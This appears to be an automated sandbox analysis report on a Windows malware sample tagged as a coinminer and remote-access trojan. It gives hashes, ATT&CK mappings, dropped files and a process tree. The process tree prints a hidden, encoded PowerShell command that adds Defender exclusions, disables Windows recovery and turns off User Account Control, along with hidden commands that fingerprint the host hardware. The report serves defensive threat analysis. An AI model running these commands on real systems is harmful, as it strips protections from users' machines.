0a7a0cacf36745d7b3c9709920e04adc95abe302cd5acc51c69b2a54c790e1fd

General

Target
2026-08-09_b1744ce43c8893d36a0c8a763c407ba4_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
Size 11.2MB
Sample260809-tmg1fa1flf
SHA256 0a7a0cacf36745d7b3c9709920e04adc95abe302cd5acc51c69b2a54c790e1fd
MD5 b1744ce43c8893d36a0c8a763c407ba4
SHA1 265bfa5fcc8f90276a32146141360f669d7cedeb
SHA512 03e555dbfd5c4889a200358aaf64d8ea67ff0157b0b6ac635ec1c954c4b647d99ac47f6fa21b5e5be2fc28145408ba7d19aacf292d38ed84b6b5faf2165e465b
SSDEEP 98304:tteUMJotxkTChh1q6KUJOTumvBh8huTuEW:txqoUU7t6W
TLSH
T18CC63A47ECA515D4C0AEC175C6269A63BB713C894B3063D36B91F6282F37BD0AE7A740
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1120	powershell.exe
2796	powershell.exe
1480	powershell.exe
3392	powershell.exe
1276	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3392	powershell.exe
1480	powershell.exe
3392	powershell.exe
1480	powershell.exe
1276	powershell.exe
1276	powershell.exe
1120	powershell.exe
1120	powershell.exe
2796	powershell.exe
2796	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3392	powershell.exe
Token: SeDebugPrivilege	1480	powershell.exe
Token: SeDebugPrivilege	1276	powershell.exe
Token: SeDebugPrivilege	1120	powershell.exe
Token: SeDebugPrivilege	2796	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 816 wrote to memory of 1480	816	2026-08-09_b1744ce43c8893d36a0c8a763c407ba4_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	85
PID 816 wrote to memory of 3392	816	2026-08-09_b1744ce43c8893d36a0c8a763c407ba4_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	86
PID 1480 wrote to memory of 3916	1480	powershell.exe	89
PID 816 wrote to memory of 1276	816	2026-08-09_b1744ce43c8893d36a0c8a763c407ba4_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	91
PID 816 wrote to memory of 1120	816	2026-08-09_b1744ce43c8893d36a0c8a763c407ba4_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	93
PID 816 wrote to memory of 2796	816	2026-08-09_b1744ce43c8893d36a0c8a763c407ba4_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	95

C:\Users\Admin\AppData\Local\Temp\2026-08-09_b1744ce43c8893d36a0c8a763c407ba4_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-09_b1744ce43c8893d36a0c8a763c407ba4_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand IwAgAFQAaABpAHMAIABzAGMAcgBpAHAAdAAgAGEAZABkAHMAIABlAHgAYwBsAHUAcwBpAG8AbgBzACAAdABvACAAdwBpAG4AZABvAHcAcwAgAGQAZQBmAGUAbgBkAGUAcgAKAHQAcgB5ACAAewAKACAAIAAgACAAaQBmACAAKABHAGUAdAAtAEMAbwBtAG0AYQBuAGQAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBHAGUAdABGAG8AbABkAGUAcgBQAGEAdABoACgAIgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwBYADgANgAiACkACgAgACAAIAAgACAAIAAgACAAJAB1AHAAZABwAGEAdABoACAAPQAgACQAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAIAAtAHIAZQBwAGwAYQBjAGUAIAAiACAAXAAoAHgAOAA2AFwAKQAiACwAIAAiACIACgAgACAAIAAgACAAIAAgACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAdQBwAGQAcABhAHQAaAAKACAAIAAgACAAIAAgACAAIAAkAFAAcgBvAGcAcgBhAG0ARgBpAGwAZQBzAFgAOAA2ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoARwBlAHQARgBvAGwAZABlAHIAUABhAHQAaAAoACIAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAWAA4ADYAIgApAAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAFAAcgBvAGcAcgBhAG0ARgBpAGwAZQBzAFgAOAA2ACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAWAA4ADYACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAAkAEEAcABwAEQAYQB0AGEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBHAGUAdABGAG8AbABkAGUAcgBQAGEAdABoACgAIgBBAHAAcABsAGkAYwBhAHQAaQBvAG4ARABhAHQAYQAiACkACgAgACAAIAAgACAAIAAgACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAQQBwAHAARABhAHQAYQAKACAAIAAgACAAIAAgACAAIAAkAEwAbwBjAGEAbABBAHAAcABEAGEAdABhACAAPQAgAFsAUwB5AHMAdABlAG0ALgBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoARwBlAHQARgBvAGwAZABlAHIAUABhAHQAaAAoACIATABvAGMAYQBsAEEAcABwAGwAaQBjAGEAdABpAG8AbgBEAGEAdABhACIAKQAKACAAIAAgACAAIAAgACAAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABMAG8AYwBhAGwAQQBwAHAARABhAHQAYQAKACAAIAAgACAAfQAKAH0AIABjAGEAdABjAGgAIAB7AH0ACgAjACAAVABoAGkAcwAgAHMAYwByAGkAcAB0ACAAYgBsAG8AYwBrAHMAIAB3AGkAbgBkAG8AdwBzACcAcwAgAGYAZQBhAHQAdQByAGUAOgAgACIAUgBlAHMAdABvAHIAZQAgAHQAbwAgAGYAYQBjAHQAbwByAHkAIABkAGUAZgBhAHUAbAB0AHMAIgAKAHIAZQBhAGcAZQBuAHQAYwAgAC8AZABpAHMAYQBiAGwAZQAKACMAIABUAGgAaQBzACAAcwBjAHIAaQBwAHQAIABkAGkAcwBhAGIAbABlAHMAIABVAHMAZQByACAAQQBjAGMAbwB1AG4AdAAgAEMAbwBuAHQAcgBvAGwACgAkAHUAYQBjAFAAYQB0AGgAIAA9ACAAIgBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABQAG8AbABpAGMAaQBlAHMAXABTAHkAcwB0AGUAbQAiAAoAJAB1AGEAYwBQAHIAbwBwAGUAcgB0AHkAIAA9ACAAIgBFAG4AYQBiAGwAZQBMAFUAQQAiAAoAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACQAdQBhAGMAUABhAHQAaAAgAC0ATgBhAG0AZQAgACQAdQBhAGMAUAByAG8AcABlAHIAdAB5ACAALQBWAGEAbAB1AGUAIAAwAA0ACgA=
  2⤵
  - UAC bypass
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1480
- - C:\Windows\system32\ReAgentc.exe
    "C:\Windows\system32\ReAgentc.exe" /disable
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    PID:3916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject -Query \"select Name from Win32_Processor\").Name"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject -Query \"Select Name from Win32_VideoController\").Name"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject -Query \"select * from Win32_OperatingSystem\").Caption"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject -Query \"select TotalPhysicalMemory from Win32_ComputerSystem\").TotalPhysicalMemory"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2796

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Impair Defenses

1

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 675975ab0a21c7578fdc267f589e925d611e5a93b65a47bcb6a6df65cbd38eba
MD5 f7a6a79eaed5f6e7b2431fcdfac6940c
SHA1 d06ad0528631c393d3b0dbaecb33bb42fad049b7
SHA512 d7cf0f0c80603a8feb12e0be2c813dde6db7f3e9ed6c4ba008fcd4e6783e6e3a2f3227de0677b63778667635fbcbdc155eabed54131f9dc505c3ad18e76c4beb
TLSH
T14311BA33B39C8921CC96163A408D9C2072B283C7819EDF9F7BC0C201A0BF488CB31190
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
MD5 d8b9a260789a22d72263ef3bb119108c
SHA1 376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA512 550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
MD5 446dd1cf97eaba21cf14d03aebc79f27
SHA1 36e4cc7367e0c7b40f4a8ace272941ea46373799
SHA512 a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_tphjgpg4.fbc.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tphjgpg4.fbc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads